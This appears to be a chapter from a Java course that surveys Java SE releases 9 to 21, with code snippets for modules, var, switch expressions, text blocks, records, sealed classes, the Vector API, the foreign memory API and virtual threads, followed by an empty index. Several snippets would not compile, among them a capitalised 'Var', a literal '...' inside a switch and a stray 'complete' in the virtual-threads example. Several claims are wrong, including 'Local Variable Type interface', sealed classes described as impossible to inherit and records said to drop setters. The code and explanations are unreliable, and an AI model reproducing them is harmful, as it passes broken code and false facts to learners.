The 2017 release of Java9 SE marked a turning point. Due to the introduction of the module system, the entire standard library was reworked so that the individual APIs were no longer bundled into a single, gigantic JAR file. The resulting modules now required less memory. These massive changes demanded enormous effort from many long-standing projects to migrate to the new Java version. Furthermore, Java 9 introduced the Java Shell, or JShell for short, a command-line tool that allows Java functions to be executed as scripts.

// module-info.java
module com.example.myapp {
  requires java.base;
  exports com.example.myapp;
}

Further significant changes were brought with the release of Java10 SE, which was released just a few months after Java 9 in 2018 and necessitated additional migration efforts. This release introduced the Local Variable Type interface with its associated keyword var. Furthermore, Release 10 also marked the start of Time-Based Versioning for the Java language. A new major version is released every six months, typically in March and September. An LTS (Long Term Support) version is released every three years.

// the var KeyWord
public static void main(String[] args) {
  var message = "Hello World, Java10!";
  System.out.println(message);
}

The first Long Term Support version for Java was released in the fall of 2018. Release Java11 carries the LTS designation and receives updates for three years. Due to the short release cycles, this version contains only a few API changes. The String class, in particular, received many new methods designed to simplify working with strings.

// String FUnctions
String text = new String(" Helle Java 11 LTS world! ");
text.strip();
text.isBlank();
text.lines().count();

The most important change in the Java12 SE release, released in spring 2019, besides several API extensions, is the ability to use expressions in switch statements.

// switch expressions
Var day = 1;
String weekday = switch(day) {
    default -> "";
    case 1 -> "Monday";
    case 2 -> "Tuesday";
    ...  
}

Java13 SE was released as planned in autumn 2019 and improved expressions in switch statements. It also introduced text blocks, which eliminate the need for resource-intensive string concatenations.

// textblock
String text = """
Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do
eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim 
ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut 
aliquip ex ea commodo consequat. Duis aute irure dolor in 
reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla 
pariatur. Excepteur sint occaecat cupidatat non proident, sunt in 
culpa qui officia deserunt mollit anim id est laborum.
""";

With the release of Java14 SE in March 2020, records were introduced. These data structures are intended to make code more compact and readable, as getters and setters no longer need to be defined.

// records
public record Person (String name, String address) {}

The release of Java15 SE, released in autumn 2020, standardized text blocks and introduced sealed classes. Sealed means that a class cannot be inherited.

// inheritance protection
public sealed class Shape permits Circle {
    // Class body
}

public final class Circle extends Shape {
    // Class body
}

In 2021, the release of Java16 SE standardized various features, including sealed classes, pattern matching for instanceof, and records.

// Pattern Matching instanceof with auto cast
if (obj instanceof String s) {
    System.out.println(s);
}

Java17 SE LTS was released as planned in autumn 2021, replacing Java 11 SE LTS after three years. In this version, the Java Applet API and the Security Manager were marked as deprecated.

Java18 SE established UTF-8 as the default code page for the JVM. The Vector API was also introduced with an experimental status.

// Java Vector API
import jdk.incubator.vector.*;
import java.util.Random;

public class VectorExample {
    // Use preferred vector species for optimal CPU performance
    static final VectorSpecies<Float> SPECIES = FloatVector.SPECIES_PREFERRED;

    // Vectorized implementation using the Vector API
    static void sqrtsumVector(float[] a, float[] b, float[] c) {
        int i = 0;
        int upperBound = SPECIES.loopBound(a.length); // Efficient loop bound

        // Process data in chunks matching the vector length
        for (; i < upperBound; i += SPECIES.length()) {
            var va = FloatVector.fromArray(SPECIES, a, i);
            var vb = FloatVector.fromArray(SPECIES, b, i);
            var vc = va.mul(va)           // a[i]²
                      .add(vb.mul(vb))    // + b[i]²
                      .neg();             // - (a[i]² + b[i]²)
            vc.intoArray(c, i);           // Store result
        }

        // Handle remaining elements (tail case) with scalar loop
        for (; i < a.length; ++i) {
            c[i] = -(a[i] * a[i] + b[i] * b[i]);
        }
    }
}   

Released at the end of 2022, Java19 SE included several optimizations and integrated the Loom project to enable virtual threads. The Foreign Function & Memory API was also incorporated into the JVM.

// Natice C Memory allocation & Slicing in Java 
Arena arena = Arena.ofAuto();
MemorySegment memorySegment = arena.allocate(12);

MemorySegment segment1 = memorySegment.asSlice(0, 4);
MemorySegment segment2 = memorySegment.asSlice(4, 4);
MemorySegment segment3 = memorySegment.asSlice(8, 4);

VarHandle intHandle = ValueLayout.JAVA_INT.varHandle();

intHandle.set(segment1, 0, Integer.MIN_VALUE);
intHandle.set(segment2, 0, 0);
intHandle.set(segment3, 0, Integer.MAX_VALUE);

Java20 SE, released as usual in the spring of 2023, didn’t introduce any new features but focused on stabilizing existing ones.

In the fall of 2023, Java21 SE LTS, a Long Term Support version, was released. This release finalized Virtual Threads.

public class VirtualThreadsExample {
  public static void main(String[] args) throws
InterruptedException {
    var executor =
      Executors.newVirtualThreadPerTaskExecutor();
    executor.submit( () ->
      System.out.println("Running in virtual thread"));
    executor.submit( () ->
      System.out.println("Running another virtual thread"));
    Thread.sleep(1000);
    complete
  }
}

Index & Abbreviations

[A]

[B]

[C]

[D]

[E]

[F]

[G]

[H]

[I]

[J]

[K]

[L]

[M]

[N]

[O]

[P]

[Q]

[R]

[S]

[T]

[U]

[V]

[W]

[Y]

[Z]

[X]

return to the table of content: Apache Maven Master Class

A

B

C

D

E

F

G

H

I

J

K

L

M

N

O

P

Q

R

S

T

U

V

W

X

Y

Z

[A]

[B]

[C]

[D]

[E]

[F]

[G]

[H]

[I]

[J]

[K]

[L]

[M]

[N]

[O]

[P]

[Q]

[R]

[S]

[T]

[U]

[V]

[W]

[Y]

[Z]

[X]

return to the table of content: Apache Maven Master Class